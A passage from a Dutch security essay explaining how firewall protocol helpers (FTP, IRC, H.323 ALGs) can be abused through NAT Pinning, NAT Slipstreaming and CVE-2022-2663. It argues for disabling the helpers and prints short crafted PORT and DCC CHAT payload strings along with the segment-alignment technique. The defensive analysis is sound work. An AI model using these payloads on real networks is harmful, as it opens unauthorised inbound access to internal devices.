Verenigd Koninkrijk is dit niet alleen onverstandig maar een regelrecht falen van een certificeringseis die je misschien al hebt, en tot slot de commando\u0026rsquo;s om het recht te zetten.\nWat een vreemde eraan heeft Begin bij het resultaat, want het mechanisme boeit makkelijker als je de rekening hebt gezien. Iemand opent een link. Dat is zijn hele bijdrage. De pagina draait JavaScript dat met de server van de aanvaller praat, en die server kneedt het gesprek — vult het op, meet het uit, bevestigt sommige delen en andere niet — tot er één segment bij je firewall aankomt dat er precies uitziet als het openingsbericht van een VoIP-gesprek. Je firewall gelooft het, want dat geloven ís de functie. Hij maakt een inkomende koppeling aan, en de aanvaller verbindt er meteen doorheen terug.\nIn de versie van 2020 gaat de poort open op de machine die klikte, dus elke dienst die op die host luistert, bereikbaar vanaf internet zolang de koppeling leeft2. Bestandsdeling. De remote desktop die niemand wilde laten luisteren. Over het Fisher-Price OS (Windows) maakte Armis de voor de hand liggende opmerking: bereik de poort voor bestandsdeling en je zit één ongepatchte host van het pad waar WannaCry langs ging3.\nDe versie van 2021 is erger, en dat is het deel dat het voor je zou moeten beslissen. Omdat de H.323-helper doorschakelen afhandelt, kan één bericht een derde adres noemen in plaats van een van de twee uiteinden van de verbinding. De aanvaller is dan niet meer beperkt tot de machine die klikte en kan in plaats daarvan je interne reeks aflopen, op elk adres een poort openen en teruglezen wat er antwoordt. Armis demonstreerde precies dat: poort 80 over een hele reeks, banners verzameld, een doelwit gekozen, daarna de rauwe printpoort van de printer geopend en er een opdracht heen gestuurd. Hun tweede demonstratie bereikte een besturing op de niet-geauthenticeerde beheerpoort en veranderde het programma3.\nOp geen van die apparaten is een kwetsbaarheid misbruikt. De printer was een werkende printer, de camera een werkende camera, de besturing een werkende besturing, en het enige wat faalde was de grens — en die faalde door precies te doen waarvoor hij geconfigureerd was. Bedenk ook wie zich binnen die grens bevindt. Niet alleen je personeel: een bezoeker op het gastennetwerk, de laptop van een aannemer, iedereen met een browser. De aanval heeft geen inloggegevens nodig, geen voet tussen de deur en geen malware, want de browser is het transportmiddel en die staat er al op en wordt al vertrouwd.\nHoud dat nu eens naast waar een firewall voor is: ervoor zorgen dat niets van buiten een gesprek begint met iets binnen tenzij jij het gezegd hebt. De helper is de uitzondering, en die uitzondering wordt verleend op gezag van een tekstreeks in een pakket.\nWat een protocol-helper eigenlijk is Een gewone NAT is een dom, eerlijk ding. Er komt een pakket binnen, hij herschrijft het bronadres en de poort in de header, noteert een regel zodat het antwoord teruggedraaid kan worden, en stuurt het door. Hij kijkt nooit onder de transportheader, en het interesseert hem niet of de bytes erin een webverzoek, een databasequery of de foto van een hond zijn.\nDat werkt tot een protocol een adres in zijn eigen payload schrijft. FTP doet dat, in platte tekst in de commandostroom: verbind terug naar mij op dit adres, op deze poort. SIP doet het in de velden Via, Contact en SDP, H.323 doet het, en IRC doet het voor directe overdrachten. Ze zijn allemaal ontworpen toen het adres van een host het adres van die host was en elke machine elke andere kon bereiken, en onder die aanname is het volstrekt verstandig. Zet een vertaler in het pad en het adres in de payload wordt een leugen.\nEen gewone vertaler leest de header. Een helper leest de payload en opent een gat op wat hij vindt. Hetzelfde punt in het pad. Eén van de twee leest naast de envelop ook de brief. Een gewone vertaler Een protocol-helper Het binnenkomende pakket [IP-hdr 192.168.1.29:51000] [ payload ] Het binnenkomende pakket [IP-hdr 192.168.1.29:51000] [ PORT 192,168,1,29,4,0 ] Wat het doet Herschrijft bronadres en bronpoort in de header Corrigeert de controlesommen Zet één regel zodat het antwoord teruggedraaid wordt Stuurt het door Wat het doet Dat alles, en dan leest de payload en vindt daar een adres en een poort herschrijft die ook en verschuift de volgnummers zet een tweede regel: sta deze inkomende verbinding toe Tabellen die het bijhoudt Alleen de vertaaltabel. Eén regel, één stroom, omkeerbaar. Niets in de payload kan er een regel bij zetten. Tabellen die het bijhoudt Vertaaltabel, en een expectation-tabel. Een regel in de tweede is een inkomende firewallregel. De tweede tabel is het hele onderwerp. Hij zegt: komt er van buiten een verbinding die bij dit patroon past, laat die door. Niemand schreef of keurde hem goed. Twee apparaten op hetzelfde punt in het pad. De gewone vertaler herschrijft de header en stuurt het pakket door, en leest de payload nooit. De helper leest de payload, herschrijft het adres dat hij daar vindt, en zet een regel in een tweede tabel die later een inkomende verbinding toestaat. Die tweede tabel is het onderwerp van dit stuk. Dus werd de helper bedacht. Hij leest de payload, vindt het adres, herschrijft het naar het publieke adres, en doet dan het stuk waar iedereen overheen leest: hij maakt een regel die precies de inkomende verbinding toestaat die de payload zojuist beschreef. Netfilter noemt die regel een expectation. Cisco noemt het een pinhole, of een NAT-deur7. Palo Alto noemt het een dynamisch NAT-pinhole8. Juniper noemt het een gate. Ander woord, hetzelfde object: een gat in de grens, geslagen op gezag van iets dat uit een pakket is gelezen.\nDe IETF gaf het patroon een naam voordat de meeste van deze producten bestonden. Een ALG, zegt RFC 2663, is een “application specific translation agent” die “may interact with NAT to set up state, use NAT state information, modify application specific payload and perform whatever else is necessary to get the application running across disparate address realms”9. Lees dat nog eens met een tegenstander in gedachten: whatever else is necessary, aangestuurd door application specific payload. En in februari 2002 noemde de middlebox-taxonomie van de IETF het mechanisme al bij naam, met de opmerking dat sommige ALG\u0026rsquo;s fragmentatieproblemen veroorzaken “although in this case the problem is arguably the result of a deliberate layer violation (e.g., mucking with the application data stream of an FTP control connection by twiddling TCP segments on the fly)”10.\nEen opzettelijke laagschending. Onderweg aan TCP-segmenten zitten frunniken. Dat is het mechanisme, beschreven door de mensen die het vierentwintig jaar geleden in kaart brachten, en het is hetzelfde mechanisme waar elke aanval in dit stuk regelrecht doorheen loopt.\nDe expectation is het hele probleem Al het andere in dit stuk volgt uit één object, dus het loont dat goed te begrijpen.\nEen expectation is een vooraf goedgekeurde verbinding: een tupel van bronadres, bronpoort, doeladres, doelpoort en protocol, sommige velden ingevuld en andere als jokers opengelaten, plus een timer. Komt er een passend pakket binnen, dan behandelt de firewall het als verwant aan een bestaande toegestane stroom in plaats van als een nieuwe inkomende verbinding, laat het door en verbruikt de expectation. Op Linux lees je ze rechtstreeks uit /proc/net/nf_conntrack_expect, of met conntrack -L expect. Op een gezond systeem is die lijst leeg, en dat is precies het punt — expectations horen zeldzaam te zijn, kortlevend en veroorzaakt door iets dat een host binnen echt heeft gevraagd.\nEen expectation is een inkomende regel met lege plekken, en die plekken zijn het beveiligingsmodel Eén object, vijf velden, een timer. Welke velden leeg zijn, is het hele beveiligingsmodel. expect proto=tcp src=\u0026lt;wie mag verbinden\u0026gt; sport=\u0026lt;elke\u0026gt; dst=\u0026lt;waar het landt\u0026gt; dport=\u0026lt;welke poort\u0026gt; timeout=300 Helper Wie mag verbinden Waar het landt Welke poort Ergste geval FTP de server, vastgepind de client, vastgepind uit de payload elke poort op één host IRC elk willekeurig adres de client, vastgepind uit de payload elke poort, van iedereen H.323 elk willekeurig adres uit de payload uit de payload elke poort op elke host Blauw: door de firewall gezet uit de zichtbare verbinding.\u0026#160;\u0026#160;Goud: uit de payload.\u0026#160;\u0026#160;Roze: opengelaten, met opzet. 1. Welke velden zijn jokers? Een joker als bron betekent dat het gat niet gereserveerd is voor het verre eind dat het maakte. Wie het eerst bij je buiteninterface komt, pakt het. De IRC-helper moet dit doen, omdat het protocol echt niet kan weten wie er gaat verbinden — een prima beschrijving van een protocol dat je helemaal niet moet helpen. 2. Wie leverde de waarden? Niet de firewall. De payload, en die is geschreven door het eind van het gesprek dat de helper op dat moment las. Er komt in die zin nergens authenticatie voor. 3. Waar kan het gat op wijzen? Bij de meeste helpers op de host die het maakte. Bij H.323 op wat de payload zegt, want doorschakelen noemt een derde. Een expectation is een firewallregel met een paar velden leeg gelaten en een timer erop. Drie vragen bepalen of hij veilig is, en het zijn de juiste drie vragen voor elke helper op elk platform. Twee van die antwoorden zijn slechter dan mensen verwachten. De waarden komen uit de payload en niet van de firewall, dus van het uiteinde van het gesprek dat de helper toevallig las. En bij de IRC-helper is het bronadres per ontwerp een joker, omdat het protocol niet kan weten wie er gaat verbinden: hij “creates expectations whose destination address is the client address and source address is any address”11.\nDit is de zin om mee te nemen. Een expectation is een inkomende firewallregel, aangemaakt op lijnsnelheid, door een niet-vertrouwde partij, zonder enig spoor van wie erom vroeg of waarom. Houd hem vast tot de paragraaf over Cyber Essentials, want daar is hij het hele argument.\nZoals bedoeld: FTP zegt PORT, en de firewall gelooft het Neem de eenvoudigste helper en kijk hoe hij correct werkt, want de aanval is dezelfde volgorde met één deelnemer vervangen. Actief FTP gebruikt twee verbindingen. De client opent een stuurverbinding naar de server op poort 21 en geeft die commando\u0026rsquo;s in gewone ASCII, en als er een overdracht moet komen opent hij een luisterende socket en stuurt een PORT-commando met het adres en de poort om naar terug te bellen, waarna de server inkomend verbindt. Dat is het protocol zoals gespecificeerd, en zo werkt het sinds 1985. Op de lijn zijn het zes getallen, vier voor het adres en twee voor de poort, hoogste byte eerst:\nPORT 192,168,1,29,4,0 Dat is 192.168.1.29, poort 1024, want 4 × 256 + 0 = 1024.\nActief FTP door een helper: vier stappen, allemaal correct, en maar twee dingen gecontroleerd Actief FTP precies volgens de specificatie, en wat er gecontroleerd werd voor het gat openging FTP-client 192.168.1.29 Firewall + helper 203.0.113.10 FTP-server 198.51.100.7 1\u0026#160;\u0026#160;stuurverbinding uitgaand naar poort 21 \u0026#8212; toegestaan, hij begon binnen 2\u0026#160;\u0026#160;de client luistert en schrijft zijn eigen adres in de stroom PORT 192,168,1,29,4,0 3\u0026#160;\u0026#160;de helper handelt herschrijft het adres, maakt de expectation PORT 203,0,113,10,4,0 expect src=198.51.100.7 dst=192.168.1.29 dport=1024 4\u0026#160;\u0026#160;de server verbindt inkomend, de expectation past, de data stroomt Kijk wat de firewall controleerde voordat stap vier mogelijk werd. Dat de bytes op een verbinding naar poort 21 zaten. Dat ze met de vier tekens PORT begonnen. Dat is alles, want meer valt er niet te controleren. FTP draagt geen handtekening, geen sessiesleutel en niets anders toetsbaars. Actief FTP door een helper, precies doend waarvoor het ontworpen is, bij elke stap correct. Let op wat de firewall controleerde voordat hij het gat opende: dat de bytes op poort 21 zaten en met PORT begonnen. Verder niets, want er valt verder niets te controleren. De helper kijkt naar die stroom, ziet PORT, herschrijft het adres van het privéadres naar het publieke en past daarbij de volgnummers aan omdat de tekst van lengte veranderde, en maakt een expectation die de inkomende verbinding van de server op de genoemde poort toestaat. Echt nuttig, gezien de beperkingen van 1994 volstrekt redelijk, en bij elke stap correct.\nKijk goed naar wat er gecontroleerd werd voordat het gat openging. De bytes zaten op een verbinding naar poort 21. Ze begonnen met PORT. Dat is alles. Verder niets, want er valt verder niets te controleren — FTP heeft geen handtekening te bieden, geen sessiesleutel en geen enkele vorm van authenticatie, en de helper leest een stroom waar hij geen partij in is.\nEr zit nog iets in die code, en het is een waarschuwing die de auteurs aan zichzelf schreven. Is het adres in het PORT-commando niet dat van de client zelf — vraagt de client de server dus ergens heel anders heen te verbinden — dan weigert de Linux-helper dat standaard, en het commentaar in de broncode zegt waarom: “DMZ machines opening holes to internal networks, or the packet filter itself”12. Zet de moduleparameter loose en die weigering is weg. De mensen die de helper schreven wisten precies waartoe hij te brengen was. Ze leverden de veilige standaard en een schakelaar, en vijfentwintig jaar later zit die schakelaar er nog.\nNiet zoals bedoeld: dezelfde bytes, vanaf een webpagina Een helper leest een bytestroom en zoekt naar een patroon. Hij controleert niet, en kan constructief niet controleren, of het ding aan de andere kant de client is waarvoor het zich uitgeeft. Samy Kamkar publiceerde het gevolg in januari 2010 en noemde het NAT Pinning1. Het trucje is gênant klein: zet een formulier op een webpagina, richt het op de server van de aanvaller op poort 6667, en zorg dat de inhoud een verzoek om direct chatten bevat.\nPRIVMSG samy :^ADCC CHAT samy 3325256705 22^A De browser stuurt het, in de veronderstelling een HTTP-POST te doen. De IRC-helper van de router, die een verbinding op poort 6667 in de gaten houdt, ziet DCC CHAT langskomen met een adres en een poort en doet waarvoor hij gebouwd is. Het adres daar is 198.51.100.1, geschreven als één decimaal getal, want zo codeert het protocol het, en de poort is 22; niets in die tekst is door het slachtoffer gekozen. De FTP-variant is hetzelfde idee gericht op poort 21, met een antwoordregel in passieve modus in plaats daarvan1.\nGeen cross-site scripting. Geen request forgery in de gebruikelijke zin. Geen kwetsbaarheid in de browser. De browser deed wat browsers doen, de firewall deed waarvoor hij geconfigureerd was, en het resultaat is een poortdoorverwijzing naar de aanvaller.\nTwee kolommen die de helper niet kan onderscheiden, want op de lijn valt niets te onderscheiden Het protocol zoals bedoeld, en een webpagina. De helper ziet één plaatje. Een echte client Een verborgen formulier Wat het start Iemand opent een FTP- of IRC-client en verbindt De client opent een socket en noemt die in de stroom PORT 192,168,1,29,4,0 Wat het start Iemand opent een pagina. Dat is zijn hele bijdrage. Een formulier post naar de aanvallerserver, zelfde poort PORT 192,168,1,29,4,0 Wat de helper controleert doelpoort past\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;ja sleutelwoord vooraan de data\u0026#160;\u0026#160;\u0026#160;ja syntaxis leesbaar\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;ja adres en poort aanwezig\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;ja Wat de helper controleert doelpoort past\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;ja sleutelwoord vooraan de data\u0026#160;\u0026#160;\u0026#160;ja syntaxis leesbaar\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;ja adres en poort aanwezig\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;\u0026#160;ja er gaat een inkomende poort open, identiek, in beide kolommen Wat verschilt zijn de drie dingen die de helper niet kan zien. Of er een client bij was. Of de gebruiker het bedoelde. Wie adres en poort koos. Niets daarvan laat een spoor na op de lijn, dus geen enkele zorgvuldigheid in de parser haalt het terug. Beide kolommen zijn keurig gevormd. Dezelfde helper, dezelfde patroonherkenning, dezelfde expectation — en nergens in het plaatje een FTP- of IRC-client. Elke controle die de helper uitvoert wordt in beide kolommen identiek doorstaan, want op de lijn valt er geen verschil te vinden. Dat was 2010. Zestien jaar geleden. De browserbouwers zetten de IRC-poorten op hun blokkeerlijst, wat die ene deur sloot en de kamer erachter precies liet zoals hij was.\nZeg het punt onomwonden, want het gaat verloren tussen de leveranciersnamen en de CVE-nummers. De aanvallen buiten geen fout in de helpers uit. Ze gebruiken de helpers correct. Elk pakket is welgevormd en elke controle slaagt eerlijk. De functie doet haar werk, en haar werk is het probleem.\nDe bytes zetten waar de helper leest Tussen NAT Pinning en iets veel ergers zat een echte hindernis, en de manier eromheen is het slimste van het hele onderwerp. De meeste helpers zoeken een patroon niet zomaar ergens in een stroom: ze controleren dat het sleutelwoord aan het begin van het datadeel van een pakket staat, wat bij een echt protocolbericht zo is en bij een HTTP-body nooit, omdat een body na een stapel headers aankomt die de aanvaller niet bepaalt. Samy citeert het gedrag van de kernel zelf — de handler haakt af als de methode niet aan het begin van de data staat2.\nDe aanvaller heeft dus een browser nodig die een segment uitstuurt waarvan de allereerste byte het sleutelwoord is. De headers kan hij niet schrijven, maar de body wel, en zo lang als hij wil — waarmee het probleem een rekensom wordt.\nDe segmentgrens verschuiven tot het sleutelwoord landt waar de helper leest De helper leest de eerste byte van een segment. Dus verschuift de aanvaller de breukpunten. Zoals de browser het zou sturen segment 1 POST / HTTP/1.1 Host: ... segment 2 ...headers... PORT 192,168,... segment 3 ...1,29,4,0 opvulling opvulling Het sleutelwoord staat midden in segment twee, dus leest de helper eroverheen en doet niets. Nadat de aanvaller de segmentgrootte zet, of maar een deel van de stroom bevestigt segment 1 POST / HTTP/1.1 Host: ... segment 2 ...headers en opvulling... segment 3 PORT 192,168,1,29,4,0 Het sleutelwoord is nu de eerste byte van een segment. De helper leest het en opent de poort. De twee hefbomen, en geen van beide is een aanval op TCP. De server van de aanvaller is één eind van de verbinding, dus kondigt hij de maximale segmentgrootte aan die de stack van het slachtoffer gebruikt, en bepaalt hoeveel van de stroom hij bevestigt. Bevestig een deel en het slachtoffer stuurt opnieuw vanaf de gekozen offset. Beide zijn doodgewoon, standaardconform TCP, met opzet ingezet. Waarom de opvulling uitmaakt. De helper leest een protocolsleutelwoord alleen als het de eerste byte van een segment is, dus een aanvaller die alleen de body van een verzoek bepaalt moet de segmentgrens verschuiven tot die daar valt. Beide hefbomen zijn doodgewoon TCP, bewust ingezet. De browser stuurt een groot verzoek met een herkenbaar scheidingsteken verstopt in de body; de server van de aanvaller luistert mee, meet hoeveel bytes aan headers eraan voorafgingen, en kent daarmee de offset. Vervolgens kondigt hij ofwel een segmentgrootte aan die de gewenste byte op een grens legt, ofwel stuurt hij een gedeeltelijke bevestiging zodat het slachtoffer precies vanaf daar opnieuw verstuurt — en Armis voegt toe dat ook het TCP-venster in die bevestigingen te prepareren is, “in order to fully control how the TCP stream is to be segmented”3. Dat is de hele truc, en hij gebruikt niets anders dan het verre eind van een verbinding die de browser van het slachtoffer zelf opende.\nHeb je dat eenmaal, dan is de browser een universele pakketgenerator die op de binnenkant van je firewall gericht staat. Geen perfecte, want hij kan geen willekeurige headers zetten en geen willekeurige protocollen kiezen, maar dat hoefde ook nooit. Hij hoeft alleen de juiste dertig bytes aan het begin van een segment te zetten.\nHet werk uit 2021 sloeg het meeste rekenwerk over. Een relayverbinding van de browser over TCP draagt een gebruikersnaamveld dat de aanvaller bepaalt, vroeg verstuurd, dat regeleindes en nulbytes accepteert zolang het resultaat geldige tekst is — Armis toonde een opname waarin dat veld de reeks \\r\\nPORT 192,168,1,29,4,0\\r\\n is, met een gedeeltelijke bevestiging die het slachtoffer precies vanaf de PORT laat hersturen3. Erger nog: dat pad raadpleegde de blokkeerlijst van de browser helemaal niet, waarmee de ene maatregel die de branche twee keer had uitgeleverd eenvoudig omzeild was.\nNAT Slipstreaming, van begin tot eind Zet de stukken bij elkaar en dit is de hele aanval, op volgorde.\nVan klik tot inkomende verbinding in zes stappen, waarvan geen een kwetsbaarheid is Zes stappen. Vier zijn gewoon web en TCP. Eén is je firewall. Eén is de aanvaller. 1 Het slachtoffer opent een pagina Een advertentie, een link in een bericht, wat dan ook. Dat is de hele bijdrage van de gebruiker. gewoon web 2 De pagina leert het binnenadres Aangereikt door de media-interface van de browser, of ingeperkt door gangbare gateways te timen. gewoon web 3 De aanvaller meet het pad Een te groot verzoek met een markering erin, en een opname aan het verre eind om de breukpunten te zien. gewoon TCP 4 De pagina stuurt de echte payload Zo opgevuld dat het sleutelwoord op een segmentgrens valt, precies zoals het vorige diagram laat zien. gewoon TCP 5 Je firewall opent de poort De helper herkent het bericht, herschrijft het adres erin en zet de expectation. je firewall 6 De aanvaller verbindt inkomend Naar je publieke adres, op de vertaalde poort. De expectation past en de firewall stuurt door naar binnen. je firewall Tel de kwetsbaarheden die op de machine van het slachtoffer zijn misbruikt. Het zijn er geen. De browser was gepatcht. Het besturingssysteem was gepatcht. Niets werd geïnstalleerd, geen inlog gebruikt. Seconden, één klik, en het enige onderdeel dat had kunnen weigeren was het onderdeel dat daarvoor is gebouwd. De volledige keten, van klik tot inkomende verbinding. Stap één tot en met vier zijn doodgewoon web- en TCP-gedrag. Stap vijf is de firewallfunctie die precies werkt zoals gedocumenteerd. Het enige onderdeel dat had kunnen weigeren, is het onderdeel waarvan weigeren het hele doel is. Totale verstreken tijd: seconden. Totale gebruikersinteractie: één klik. Op de machine van het slachtoffer misbruikte kwetsbaarheden: geen.\nDe tijdlijn van de bekendmaking is op zichzelf bewijs. Samy publiceerde op 31 oktober 2020, Armis nam drie dagen later contact op, en de gecoördineerde melding bij de browserbouwers begon op 11 november. Chrome leverde op 6 januari 2021 een maatregel, Edge de dag daarna, Safari op de 14e in bèta en op 1 februari stabiel, Firefox op de 26e3 — geregistreerd als CVE-2020-16043, CVE-2021-23961 en CVE-2021-1799.\nVier browserbouwers leverden noodpatches voor een firewallfunctie. Armis legt in eigen woorden uit waarom: “While the underlying issue of this attack is the way NATs are implemented (in various ways in routers and firewalls, throughout numerous vendors and applications), the easiest and fastest way to mitigate was through a patch to browsers”3.\nDat is geen oplossing. Het zijn vier andere branches die zandzakken voor andermans voordeur stapelen, omdat die deur zelf nooit vervangen zou worden.\nH.323-doorschakelen wijst naar alles in je netwerk De meeste helpers begrenzen de schade zonder het te willen. De FTP-helper pint het doel van de expectation vast op de client die hem maakte, dus het ergste wat een aanvaller krijgt is een poort op de machine die klikte — erg, maar te overleven.\nH.323 is rampzalig, en de reden is een telefoniefunctie.\nEen telefooncentrale moet doorschakelen ondersteunen, en een doorgeschakeld gesprek is per definitie een gesprek met iemand die niet aan de lijn is. De signalering moet dus een derde eindpunt noemen, en de helper moet daar een pad heen openen, anders werkt doorschakelen door NAT heen helemaal niet. Elke serieuze implementatie kan dat, en de netfilter-helper documenteert het gedrag uitdrukkelijk, met een tekening, op de netfilter-site13. Armis las de code en vatte het gevolg in één zin samen: “a single H.323 packet sent over TCP port 1720 that initiates call forwarding can open a pinhole (named an expectation in the conntrack subsystem) to any TCP port of any internal IP on the network”3.\nVastgepind op één host, of gericht op alles in het netwerk De meeste helpers bereiken alleen de machine die klikte. Eén valt helemaal niet te begrenzen. FTP, SIP, IRC H.323, met doorschakelen De expectation zegt dst = de host wiens verbinding hem maakte De expectation zegt dst = welk adres de payload ook noemde de machine die klikte 192.168.1.29 de printer poort 9100 de camera standaardwachtwoord de besturing geen authenticatie Schadebereik Eén machine. Elke poort erop, zolang de regel leeft, wat erg genoeg en te overleven is. Het apparaat wordt beheerd, gepatcht en draait iets dat logt. Schadebereik Elk adres in het netwerk, één bericht per stuk. Loop de reeks af, lees de banners, kies een doel. Geen van die apparaten deed ooit een verzoek of draaide een browser. Doorschakelen is het hele verschil, en het is een functie, geen fout. Een doorgeschakeld gesprek geldt iemand die niet aan de lijn is, dus noemt de signalering een derde en de helper doet mee. Waarom één helper in een andere categorie valt dan de rest. Pin de expectation vast op de host die hem maakte en de aanvaller bereikt één machine. Laat doorschakelen een derde partij noemen, zoals het protocol vereist, en de aanvaller loopt in plaats daarvan je hele adresreeks af. Elke TCP-poort. Elk intern adres. Uit één pakket, dat de aanvaller een browser liet versturen.\nDe aanval gaat daarmee niet meer over de machine van het slachtoffer maar wordt een poortscan van je interne netwerk, uitgevoerd vanaf internet, met de resultaten teruggelezen over verbindingen die je eigen firewall toestaat. De apparaten die hij vindt zijn de kern, want die zijn niet gepatcht, vaak niet te patchen, en het hele beveiligingsmodel van de meeste ervan is het staat toch binnen. Armis hing een getal aan die aanname: een jaar na publicatie was 97% van de industriële besturingen die kwetsbaar waren voor een reeks kritieke fouten nog steeds ongepatcht3. Niemand beweert dat dat getal goed is. Het is de werkelijkheid die “het staat toch binnen” overeind houdt.\nH.323 is dus op elk platform het eerste waar je wat aan doet, omdat het het enige is dat voorbij het slachtoffer reikt — en omdat het tegelijk het protocol is dat vrijwel niemand meer gebruikt, is het de goedkoopste beveiligingsverbetering in dit stuk. Zet het uit. Niemand belt je erover.\nDe helper kan afgaan op een bericht dat jij nooit stuurde Eén variant verdient een eigen paragraaf, omdat hij de aanname onderuit haalt waar mensen naar grijpen als ze een reden zoeken om niets te doen: goed, maar de aanleiding moet nog altijd van binnen komen, dus beheers de browsers en je beheerst het probleem.\nNee.\nIn juli 2022 vond David Leadbeater twee fouten in de Linux-IRC-helper14. De module zoekt de reeks \\1DCC overal in de stroom in plaats van te controleren dat die op de juiste plek in een correct omkaderd bericht staat, en de adrescontrole vergelijkt met het adres van de chatserver in plaats van de host achter de vertaler, waardoor het publiek bekende adres van een publieke server volstaat. Zet dat bij elkaar en een aanvaller stuurt de client van het slachtoffer een client-naar-client-ping — iets volstrekt normaals om van een andere gebruiker te krijgen — met een verzoek om directe overdracht erin:\nPRIVMSG ExampleUser :^APING ^ADCC CHAT x 3325256705 22^A Volgens de regels van het protocol beantwoordt de client een ping door de inhoud terug te echoën, dus stuurt de client van het slachtoffer die reeks plichtsgetrouw naar buiten, en de helper, die de uitgaande stroom in de gaten houdt, vindt er DCC in en opent de poort.\nEen poort geopend door een bericht dat het slachtoffer nooit opstelde Niemand binnen klikte iets. De eigen client van het slachtoffer stuurde de aanleiding, op verzoek. De client van het slachtoffer 192.168.1.29 Firewall + IRC-helper leest de stroom Een vreemde elke andere gebruiker, elk netwerk 1\u0026#160;\u0026#160;een gewone ping, met een verzoek om direct chatten verstopt in de payload PRIVMSG ExampleUser :^APING ^ADCC CHAT x 3325256705 22^A 2\u0026#160;\u0026#160;het protocol zegt: beantwoord een ping door terug te echoën, dus dat doet hij 3\u0026#160;\u0026#160;beide controles van de helper slagen, en geen van beide had dat mogen doen hij zoekt het sleutelwoord overal in de stroom, niet vooraan een omkaderd bericht hij toetst het adres aan de chatserver, niet aan de host achter de vertaler 4\u0026#160;\u0026#160;de expectation bestaat, en poort 22 staat inkomend open naar het slachtoffer Alles in die volgorde volgde zijn specificatie. De vreemde stuurde een geldig bericht. De client antwoordde zoals het protocol vereist. De helper vond het patroon waarvoor hij geschreven is. Niemand besliste iets, en geen logboek ziet er ook maar enigszins vreemd uit. De aanleiding hoeft niet van iemand te komen die je vertrouwt, niet van een browser, en niet van iets wat een gebruiker met opzet deed. Elk stuk software in dit plaatje volgde zijn specificatie tot op de letter, en het resultaat is een open poort en niets vreemds in welk logboek dan ook. Niemand binnen deed iets fout en niemand klikte. De client volgde de specificatie, en de specificatie en de helper produceerden samen een inkomend gat naar poort 22 op een machine in het netwerk. Het werd CVE-2022-2663, en de omschrijving in de nationale kwetsbaarhedendatabase is prijzenswaardig helder: “A firewall may be able to be bypassed when users are using unencrypted IRC with nf_conntrack_irc configured”15.\nLet op het woord unencrypted. Onthoud dat ook.\nDe aanbeveling van de auteur is precies waar de rest van dit stuk vanuit een andere richting uitkomt: “Potentially entirely deprecate and remove nf_conntrack_irc, it\u0026rsquo;s unclear it has much use anymore”14.\nDe parsers zijn de andere helft Tot nu toe ging het over helpers die correct werken. Er is een tweede, los probleem: het zijn protocolparsers geschreven in C, draaiend in het snelle pad van een beveiligingsapparaat, op data die vreemden aanleveren, en ze hebben het foutenpercentage dat je bij die beschrijving verwacht. En dit is geen Linux-probleem en geen goedkope-routerprobleem — het komt bij elke leverancier voor, in de code waar ze het meest voor rekenen.\nCVE Onderdeel Wat een geprepareerd pakket doet CVE-2018-0051 Junos SIP ALG Laat de flow-daemon op SRX en MX crashen; vermeldt ook dat SIP ALG standaard aan staat behalve op high-endmodellen CVE-2018-15454 Cisco ASA / FTD SIP-inspectie Herstart het apparaat of zet de processor vast CVE-2022-2663 Linux nf_conntrack_irc Opent poorten door de firewall heen, zoals hierboven CVE-2023-22412 Junos SIP ALG “Specific SIP messages” laten de flow-daemon reproduceerbaar crashen CVE-2023-22415 Junos H.323 ALG Schrijven buiten de grenzen door “specific H.323 packets” CVE-2024-21616 Junos SIP ALG Eén SIP-pakket put de NAT-pool uit, echt verkeer wordt niet meer vertaald CVE-2024-26851 Linux nf_conntrack_h323 Bitverschuiving buiten bereik bij het decoderen van de H.323-bitmap CVE-2024-39551 Junos H.323 ALG Geheugen uitgeput door “specific packets” tot het verkeer stilvalt Elk daarvan is vanaf het netwerk te bereiken zonder enige authenticatie, door iedereen die een pakket bij de buiteninterface krijgt, dus door iedereen. En lees de bewoordingen: specific SIP messages, specific H.323 packets, a specific SIP packet. Dat is geen protocol dat bezwijkt onder belasting. Dat is iemand die met opzet een pakket bouwt.\nBlijf even bij het Cisco-geval. CVE-2018-15454 werd op 31 oktober 2018 gepubliceerd met ernst 8,6, werd in het wild misbruikt, en het advies zei dat de software-update nog niet beschikbaar was16. Cisco\u0026rsquo;s maatregel is in het eigen advies no inspect sip. Het antwoord van de leverancier op een actief misbruikte fout in de functie was dus de functie uitzetten — en daarmee ligt de vraag op tafel waar de rest van dit stuk op rust. Als uitzetten tijdens een incident een aanvaardbaar antwoord is, op welke grond staat het de rest van de tijd aan?\nEen helper werkt alleen als je niet versleutelt Dit is het deel dat de discussie in zijn eentje zou moeten beëindigen, en het is het deel dat de minste aandacht krijgt. Een protocol-helper leest je payload en kan een versleutelde niet lezen. Een helper doet dus überhaupt alleen iets met verkeer dat je bewust onversleuteld hebt gelaten, en de helper werkend houden betekent dat verkeer onversleuteld houden.\nElk protocol op de lijst heeft al ruim tien jaar een versleutelde modus. FTP heeft TLS sinds 200517; zet het aan en de PORT- en PASV-uitwisselingen zijn onzichtbaar en de helper doet niets. SIP heeft TLS sinds de basisspecificatie, met versleutelde media ernaast. H.323 heeft een eigen beveiligingsbijlage. Chat heeft al heel lang TLS, en het officiële advies bij CVE-2022-2663 was letterlijk het te gebruiken zodat de helper je overdrachtsverzoeken niet ziet15.\nDe helper heeft klare tekst nodig, dus de helper houden is de klare tekst houden Je kunt de versleuteling hebben of de helper. Er is 